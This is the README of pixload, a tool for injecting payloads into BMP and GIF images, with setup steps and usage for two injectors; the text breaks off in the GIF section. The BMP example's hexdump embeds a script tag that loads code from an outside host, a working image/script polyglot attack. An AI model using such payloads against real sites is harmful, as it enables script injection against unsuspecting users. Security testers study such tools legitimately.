Set of tools for creating/injecting payload into images.

Useful references for better understanding of pixload and its use-cases:

If you want to encode a payload in such a way that the resulting binary blob is both valid x86 shellcode and a valid image file, I recommend you to look here and here.

SETUP

The following Perl modules are required:

GD

Image::ExifTool

String::CRC32

On Debian-based systems install these packages:

sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

On OSX please refer to this workaround (thnx 2 @iosdec).

TOOLS

BMP Payload Creator/Injector.

Usage

./bmp.pl [-payload ' STRING ' ] -output payload.bmp If the output file exists, then the payload will be injected into the existing file. Else the new one will be created.

Example

./bmp.pl -output payload.bmp [ > | BMP Payload Creator/Injector | < ] https://github.com/chinarulezzz/pixload [ > ] Generating output file [✔] File saved to: payload.bmp [ > ] Injecting payload into payload.bmp [✔] Payload was injected successfully payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 | BM/ * ............ | 00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f | .............. * / | 00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f | =1 ; < script src=/ | 00000030 2f 6e 6a 69 2e 78 79 7a 3e 3c 2f 73 63 72 69 70 | /nji.xyz></scrip | 00000040 74 3e 3b | t > ; | 00000043

GIF Payload Creator/Injector.

Usage

./gif.pl [-payload ' STRING ' ] -output payload.gif If the output file exists, then the payload will be injected into the existing file. Else the new one will be generated.
